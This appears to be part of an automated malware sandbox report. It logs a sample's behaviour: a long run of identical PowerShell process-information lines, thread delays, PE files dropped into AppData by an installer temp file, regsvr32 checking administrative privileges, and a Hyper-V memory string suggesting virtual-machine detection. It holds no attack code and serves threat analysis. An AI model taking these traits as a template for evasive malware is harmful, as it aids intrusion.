Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7781	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1949	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6844	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2824	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6444
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3319

Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-FHHU1.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\is-SF7GG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-14VP5.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\is-L5KBT.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\BurlySparrow.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\unins000.exe (copy)	Jump to dropped file

Source: C:\Windows\SysWOW64\regsvr32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_7-53639

Source: C:\Windows\SysWOW64\regsvr32.exe

API coverage: 8.9 %

Source: C:\Windows\SysWOW64\regsvr32.exe TID: 7820	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 7820	Thread sleep time: -38000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7172	Thread sleep count: 7781 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7232	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7192	Thread sleep count: 1949 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7564	Thread sleep count: 6844 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7572	Thread sleep count: 2824 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5320	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7880	Thread sleep count: 6444 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7884	Thread sleep count: 3319 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7976	Thread sleep time: -4611686018427385s >= -30000s

Source: C:\Windows\SysWOW64\regsvr32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\regsvr32.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 7_2_6C85BC60 GetSystemInfo,memcpy,memcpy,

7_2_6C85BC60

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885973380.0000000005000000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885973380.000000000505B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.000000000548C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Service
